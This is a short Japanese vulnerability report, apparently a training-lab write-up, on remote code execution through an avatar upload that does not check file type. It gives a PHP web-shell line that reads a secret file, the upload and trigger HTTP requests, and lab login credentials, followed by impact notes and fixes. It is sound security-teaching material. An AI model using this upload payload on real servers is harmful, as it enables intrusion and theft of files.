Hello there, ('ω')ノ
🛠 脆弱性報告レポート
タイトル: Remote Code Execution via Web Shell Upload
✅ 概要(Summary)
アバター画像アップロード機能にて、拡張子や Content-Type の検証が存在せず、.php
ファイルのアップロードが可能となっている。これにより、アップロードされた PHP ファイルがそのままサーバ上で実行され、任意コード実行(RCE)が成立する。
🔁 再現手順(Steps)
https://<LAB-ID>.web-security-academy.net
にwiener:peter
でログイン以下の内容で
exploit.php
を作成:
<?php echo file_get_contents('/home/carlos/secret'); ?>
「My account」ページで「Upload avatar」から
exploit.php
をアップロードBurp にて以下を送信:
GET /files/avatars/exploit.php HTTP/1.1
- レスポンスに
carlos
のシークレット値が表示される
📸 結果(Result)
- アップロード応答:
Avatar image successfully updated
- RCE 成功:
/home/carlos/secret
の内容が表示される
POST /my-account/avatar Content-Disposition: form-data; filename="exploit.php" Content-Type: application/x-php
GET /files/avatars/exploit.php → 200 OK → secret: xxxxxxxxxxxxxxxx
🧾 期待挙動(Expected)
.php
等の実行ファイルは MIME・拡張子の両面で検査され、アップロードを拒否すべき。
⚠ 影響度(Impact)
- サーバ上での 任意コード実行(RCE)
- 機密ファイルの読み取り、バックドア設置など高リスク行動が可能
- OWASP A05:2021 – Security Misconfiguration
- CWE-434 – Unrestricted Upload of File with Dangerous Type
🛠 修正提案(Optional)
- 拡張子のホワイトリスト化(
.jpg
,.png
等) - MIME タイプ検証を
finfo_file()
などで実ファイル基準に変更 /files/avatars/
ディレクトリを PHP 実行不可に設定- アップロード後に UUID へリネームし
.jpg
拡張子を強制付与
Best regards, (^^ゞ